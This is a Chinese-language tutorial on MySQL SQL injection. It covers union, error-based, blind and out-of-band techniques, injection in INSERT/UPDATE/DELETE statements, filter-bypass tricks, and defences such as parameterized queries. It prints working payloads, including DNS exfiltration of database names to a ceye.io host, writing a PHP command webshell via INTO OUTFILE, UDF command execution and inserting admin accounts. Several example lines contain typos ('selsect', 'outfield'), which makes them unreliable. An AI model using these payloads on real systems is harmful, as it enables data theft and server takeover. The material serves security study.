文章目录
- 前言
- 一、数据库
- 1、Information_schema
- 2、相关函数
- 二、SQL注入分类
- 1、联合查询注入(UNION query SQL injection)
- 语法
- 2、报错注入(Error-based SQL injection)
- 报错注入分类
- 报错函数
- 报错注入原理
- 3、盲注
- 布尔型盲注(Boolean-based blind SQL Injection)
- 基于时间延迟盲注(Time-based blind SQL injection)
- dnslog
- 4、堆叠注入(Stacked Injections-Stacked queries SQL injection多语句查询SQL注入)
- 三、SQL注入类型扩展
- 带外通道技术(Out-Of-Band)
- 泛域名解析
- 宽字节注入
- 二次注入
- 四、SQL注入点
- SELECT注入
- 注入点在select_expr
- 注入点在GROUP BY或ORDER BY后
- 注入点在LIMIT后
- INSERT注入
- 1、注入点位于lbl_name
- 2、注入点位于VALUES
- 3、UPDATE注入
- 4、DELETE注入
- 五、SQL注入防御
- 1、SQL注入的过滤与绕过
- 混淆和绕过
- 1、关键词组过滤
- 2、union过滤绕过
- 3、where过滤绕过
- 4、limit过滤绕过
- 5、group by过滤绕过
- 6、select及单引号过滤绕过
- 7、hex、unhex、及substr过滤绕过 -binary
- 8、空格过滤绕过
- 9、=过滤绕过
- 10、双写绕过
- 11、双重编码绕过
- 12、转义函数绕过
- 注入防御
- SQL注入之命令执行
前言
SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。
一、数据库
1、Information_schema
如果程序过滤information_schema,无法获取表名,利用polygon()进行绕过,括号里填上存在的列名(一般都有id这个列),即可爆出表名
2、相关函数
Database():返回当前网站所用数据库名
Version():返回当前数据库版本
User():返回当前数据库用户名
Group_concat():将查询的多行数据合并成一行进行显示,括号里面要填入要查询的列名
Union select():联合查询,连接上一条语句,合并查询
Order by():对查询结果进行排序,用法是Order by列名,在SQL注入中接数字,来判断列数
Limit n,1:从你表中的第n条数据开始,读取1个#
-- 任意字符
/**/
;%00
用户访问网页经过如下流程
1、Web浏览器中输入网址并连接到目标服务器;
2、业务逻辑层的Web服务器从本地存储加载index.php脚本并解析;
3、脚本连接位于数据访问层的DBMS,并执行SQL;
4、数据访问层的DBMS返回SQL的执行结果给Web Server;
5、业务逻辑层的Web Server将页面封装成HTML格式发送给表示层的浏览器;
6、表示层的浏览器解析HTML并将内容呈现给用户。SQL注入就发生在该过程的第四步
二、SQL注入分类
按照类型可分为两类:数字型、字符型
- 数字型:通常语句类型为 select * from <表名> where id = x
通常构造 and 1=1 以及 and 1 =2 进行判断。 - 字符型:通常语句类型为 select * from <表名> where id = ‘x’
通常构造 and ‘1’ = '1 以及 and ‘1’ = ’ 2来判断
1、联合查询注入(UNION query SQL injection)
1、判断是否存在注入(单引号或双引号判断)
2、判断字段数、获取显示位
3、获取所有数据库名
4、获取所有表名
5、获取所有数据
语法
Select * from users where id=1 Union select xxx
将多条查询语句的结果合并成一个结果
要求:多条查询语句的查询列数是一致的
注意事项:在网站中,可能开发者设置功能为输出一条数据,所以我们得把前面的select语句设置为假(一般设置成不存在的数据),后面的union才能进行输出
2、报错注入(Error-based SQL injection)
报错注入分类
MySQL报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,使程序报错,报出相应的数据信息
可以将MySQL报错注入分为以下几类:
1、BigInt等数据类型溢出;
2、Xpath语法错误;
3、count()+rand()+group_by()导致重复;
4、空间数据类型函数错误。
报错函数
很多函数会导致MySQL报错并显示出数据:
1、floor函数
2、extractvalue函数;(最多32个字符)
3、updatexml函数
4、exp函数
- updatexml(XML_document,XPath_string,new_value):
第一个参数:xml文档的名称
第二个参数:xpath格式的字符串
第三个参数:替换查找到的符合条件的数据
简而言之功能就是查找一个字符串,并进行替换。而我们在xpath也就是第二个参数那里传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句结果报错显示出来。这就是xpath报错注入原理。
必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数
xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用。
xpath只会报错32个字符,所以要用到substr
报错注入原理
3、盲注
布尔型盲注(Boolean-based blind SQL Injection)
流程
1、判断是否存在注入(单引号或双引号判断)
2、获取数据库长度
3、逐字猜解数据库名
4、猜解表名数量
5、猜解某个表长度
6、逐字猜解表名
7、猜解列名数量
8、猜解某个列长度
9、逐字猜解列名
10、判断数据数量
11、猜解某条数据的长度
12、逐位猜解数据
基于时间延迟盲注(Time-based blind SQL injection)
时间盲注常用函数
substr(a,b,c):从b位置开始,截取字符串a的c长度。
count():返回当前列的数目
ascii():返回字符的ASCII码
length():返回字符串的长度
left(a,b):从左往右截取字符串a的前b个字符
sleep(n):将程序挂起n秒
binary ,更多函数参考slq 官网reference
if(a,b,c) 如果条件a成了,则执行b,否则执行c
select case when(条件) then 代码1 else 代码2 end
dnslog
当我们碰到一个sql盲注的时候,一般是利用二分法,一个个字符的猜。这样很麻烦,还有可能因为请求次数过多,被防火墙拦截ban ip,这是好可以利用dnslog进行注入
常规的注入流程就是攻击者通过get方式活着post方式传输payload,然后受害者服务器经过sql查询把数据返回给攻击者
Dnslog方式是把payload通过dns请求发送,然后看dns日志就获取到数据了。
4、堆叠注入(Stacked Injections-Stacked queries SQL injection多语句查询SQL注入)
一堆SLQ语句(多条)一起执行。
在MySQL中,主要是命令行中,每一条语句结尾加;表示语句结束。这样可以将多条语句一起使用。
注意:
并不是每一个环境下都可以执行,很可能受到API或者数据库引擎不支持的限制,同时权限不足也是面临的主要问题。
真实环境中:
1、通常只能返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的;
2、在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
三、SQL注入类型扩展
攻击类别 | SLQ注入类型 | 说明 |
---|---|---|
INBAND | Error-based Injection;UNION query Injection | 在应用内直接获取数,通过应用等返回或者报错提取数据 |
INFERENCE | Boolean-based Blind Injection ;Time-based Blind injection | 通过应用的非直接数据反馈进行推断 |
OUT OF BAND | OOB SQL Injection | 通过其他信道获得数据 |
带外通道技术(Out-Of-Band)
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞
这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。
带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。
常规通信信道(Inband):
用户向客户端发送请求,客户端向服务器发送请求,服务器返回结果给客户端,客户端返回结果给用户。
OOB(非应用内信道):
黑客向客户端发送恶意请求,客户端向服务器发送恶意请求,服务器向黑客的服务器执行请求(并携带数据),黑客的服务器向黑客返回目标数据。
泛域名解析
泛域名解析就是利用通配符的方式将所有的次级域名指向同一IP
www.example.com 和abc.example.com都会访问到同一个站点。
在注册域名并配置域名解析的时候,在DNS服务器中配置了下面的记录。
*.example.com | IP
1、大获取数据库表名
?id=1’ and load_file(concat(“\\”,(select database()),“.7as54b.ceye.io\abc”))–+
2、获取表名
?id=1’ and load_file(concat(“\\”,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),“.7as54b.ceye.io\abc”))–+
宽字节注入
目的:逃逸绕过转义函数
以下三句话效果等同
SET character_set_client = x;
SET character_set_results = x;
SET character_set_results = x;
同样这些参数也可以通过my.ini/cnf进行静态设置。
二次注入
四、SQL注入点
该节从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧
SELECT注入
SELECT语句用于数据表记录的查询,常在界面展示的过程中使用,如新闻的内容、界面的展示等。SELECT语句的语法如下:
SELECT [ALL | DISTINCT | DISTINCTROW]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]
select_expr[,select_expr …]
[FROM table_references]
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}]
[ASC | DESC],… [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], …]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
CHARACTER SET charset_name]
export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHAre MODE]]
注入点在select_expr
源代码如sqln1.php所示。
<?php$conn = mysqli_connect("127.0.0.1","root","root","test");$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");$row = mysqli_fetch_array($res);echo "<center>";echo "<h1>".$row['title']."</h1>";echo "<br>";echo "<h1>".$row['content']."</h1>";echo "</center>";
?>
此时可以采取时间盲注进行数据获取,不过根据MySQL的语法,我们有更优的方法,即利用AS别名的方法,直接将查询的结果显示到界面中。访问链接
http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title。
###注入点在table_reference
上文中的SQL查询语句改为如下:
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");
我们仍然可以用别名的方式直接取出数据,如
SELECT title FROM (SELECT pwd AS title FROM wp_user)x;
当然,在不知表名的情况下,可以先从information_schema.tables中查询表名。
在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。
###注入点在WHERE或HAVING后
SQL查询语句如下:
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET[id]}");
要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。
注入点在HAVING后的情况与之相似。
注入点在GROUP BY或ORDER BY后
当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。假设代码如下:
$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");
经过测试可以发现,title = id desc,(if(1,sleep(1),1))会让页面延迟1秒,于是可以利用时间注入获取相关数据。
基本上,只要对输入的值进行白名单对比,基本上就能防御这种注入。
注入点在LIMIT后
LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL5.6前的版本
select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
同样可以基于时间注入,语句如下:
PROCEDURE analyse((SELECT extractvalue(1, concat(0x3a, (IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1)
BENCHMARK语句的处理时间大约是1秒。在有写入权限的特定情况条件下,我们也可以使用INTO OUTFILE语句向Web目录写入webshell,在无法控制文件内容的情况下,可通过"SELECT xx INTO outfile “/tmp/xxx.php” LINES TERMINATED BY’<?php phpinfo();?>’ "的方式控制部分内容。
select 1 into outfield '/tmp/1234.php' LINES TERMINATED BY '<?php ph);?>';
INSERT注入
INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现、INSERT的语法如下:
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION(partition_name [, partition_name]…)]
[(col_name [, col_name] …)]
{VALUES | VALUE}(value_list)[, (value_list)]…
[ON DUPLICATE KEY UPDATE assignment_list]
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY][IGNORE]
[INTO]tbl_name
[PARTITION (partition_name [, partition_name] …)]
SET assignment_list
[ON DUPLICATE KEY UPDATE assignment_list]=
INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
[INTO]tbl_name
[PARTITION (partion_name [, partition_name] …)]
[(col_name [,col_name]…)]
SELECT …
[ON DUPLICATE KEY UPDATE assignment_list]
通常,注入位于字段名或字段值的地方,且没有回显信息。
1、注入点位于lbl_name
如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。如,对于下列SQL语句:
$res = mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES(2,2,2,2)");
开发者预想的是,控制table的值为wp_news,从而插入新闻表数据。由于可以控制表名,我们可以访问http://192.168.20.132/insert.php?table=wp_user values(2,‘newadmin’,‘newpass’)%23,访问前、访问后的wp_user表,可见成功插入一个新的管理员。
2、注入点位于VALUES
假设语句如下:
INSERT INTO wp_user VALUES(1, 1, ‘可控位置’);
此时可先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。注入语句如下:
INSERT INTO wp_user VALUES(1, 0, ‘1’),(2, 1, ‘aaaa’);
如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来:
INSERT INTO wp_user VALUES(1, 1, ‘1’),(2, 2, (SELECT pwd FROM wp_user LIMIT 1));
3、UPDATE注入
UPDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。UPDATE语句的语法如下:
UPDATE [LOW_PRIORITY][IGNORE]table_reference
SET assignment_list
[WHERE where_condition]
[ORDER BY…]
[LIMIT row_count]
value:
{expr | DEFAULT}
assignment:
col_name = value
assignment_list:
assignment[,assignment]…
例如,以注入点位于SET后为例。一个正常的update语句如
up_date wp_user set id =3 where user = ‘23’
可见原先表wp_user id为3的数据被修改。
当id数据可控时,则可修改多个字段数据,形如
UPDATE wp_user SET id = 3,user=‘xxx’ WHERE user = ‘23’;
其余位置的注入点利用方式与SELECT注入类似,这里不再赘述。
4、DELETE注入
DELETE注入大多在WHERE后。假设SQL语句如下。
$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");
DELETE语句的作用是删除某个表的全部或指定行数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为
True,导致整个wp_news的数据被删除。
delete from wp_news where id=1 or 1;
为了保证不会对正常数据造成干扰,通常使用’and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行,如:
delete from wp_news where id = 1 and sleep(1);
后续步骤与时间盲注一致。
五、SQL注入防御
- 减少错误信息反馈
- 对特殊符号进行转义(黑名单)
比如 $id = mysql_escape_string($id)
将对id中以下特殊进行转义
\x00 \n \r \ ’ " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。 - 对输入特殊词组进行过滤(黑名单)
常见的关键字:and、or、union、select、空格等等过滤。
1、SQL注入的过滤与绕过
混淆和绕过
普通的注入方式过于明显,很容易被检测。
因此,需要改变攻击的手法,绕过检测和过滤,即混淆和绕过。
具体操作针对于服务端和WAF的防御机制有多种手段。
1、关键词组过滤
关键词组过滤指对于用SQL注入攻击相关的语句加以过滤,如select,union,sleep等,在WAF和服务端都可以进行。
以union为例,即在服务端对用户输入的union词组删除。
$sql="where id = " .sqli($id);
$sql=str_replace("union","",$sql);
过滤代码
preg_match('/(and|or)/i',$id)
过滤情况
1 or 1 = 1 1 and 1 = 1
绕过方法
1 || 1 = 1 1 && 1 = 1
2、union过滤绕过
过滤代码
preg_match('/(and|or|union)/i',$id)
过滤情况
union select user,password from users
绕过方法
1 || (selsect user form users where user_id = 1) = 'admin'
3、where过滤绕过
过滤代码
preg_match('/(and|or|union|where)/i',$id)
过滤情况
1 || (select user from users where user_id = 1) = 'admin'
绕过方法
1 || (selsect user form users limit 1,1) = 'admin'
4、limit过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit)/i',$id)
过滤情况
1 || (selsect user form users limit 1,1) = 'admin'
绕过方法
1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'
5、group by过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by)/i',$id)
过滤情况
1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'
绕过方法
1 || selsect substr((select group_concat(name) name from test),1,1) = 't'
6、select及单引号过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by|select)/i',$id)
过滤情况
1 || selsect substr((select group_concat(name) name from test),1,1) = 't'
绕过方法
1 || substr(name,1,1) = 0x74
1 || substr(name,1,1) = unhex(74)
7、hex、unhex、及substr过滤绕过 -binary
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id)
过滤情况
1 || substr(name,1,1) = unhex(74)
绕过方法
1 || binary(name) = 0x74657374
其他:
left(str,index)
right(str,index)
substring(str,index)
mid(str, index,ken)
lpad(str,len,padstr) rpad(stolen,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,
8、空格过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i',$id)
过滤情况
1 || binary(name) = 0x74657374
绕过方法
添加 /**/
9、=过滤绕过
10、双写绕过
11、双重编码绕过
过滤代码
WAF:urldecode(param)->过滤
过滤情况
1/**/||/**/binary(name)/**/=/**/0x74657374
绕过方法
1%252f
12、转义函数绕过
简单绕过
$Id=mysql_real_escape_string("1 OR 1=1");
$Sql="SELECT * FROM table WHERE id = $ID";
$Sql="SELECT * FROM table WHERE id = 1 OR 1=1";
注入防御
1、代码与数据分离:预编译
2、禁止用户账号出现特殊符号
SQL注入之命令执行
通过SQL注入,直接写入webshell文件到服务器,通过GET方法或者POST方法提交并执行外部指令,为后续进一步远程控制,提权,创造条件。
关键语句:
<?php system($_GET["cmd"]);?>
注入方式:
select username, password from users where id = '1' union select 1,'<?php system($_GET["cmd"]);?>'into outfield '/var/www/html/cmd.php';
还可以利用“用户自定义函数”的方式,即User-Defined Functions(UDF)来执行命令。通过lib_mysqludf_sys提供的函数可以执行系统命令,关键语句:
1、sys_eval(),执行任意命令,并将输出返回
2、sys_exec(),执行任意命令,并将返回码返回
3、sys_get(),获取一个环节变量
4、sys_set(),创建或修改一个环境变量
dumpfige vs outfile
若我们想把一个可执行2进制文件用into outfile函数导出,事实上导出后就会被破坏,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的2进制文件into dumpfile函数不对任何列或行进行终止,也不执行任何转义处理
一般过程:
获取用户传参->拼接SQL语句->(SQL注入发生)->编译SQL语句->解析SQL语句
参数化查询:
编译SQL语句->获取用户传参->绑定用户传参->解析SQL语句
对用户传入的参数进行了转义
存储过程
存储过程是指数据库中存放了一组为完成特定功能生成的SQL语句,这些语句一次编译后永久有效,用户通过指定存储过程的名字并给出参数来执行这些语句。
存储过程VS参数化查询
存储过程的SQL语句存放在数据库中,用户通过调用这些过程获取数据
参数化查询的SQL语句是通过Web应用完成执行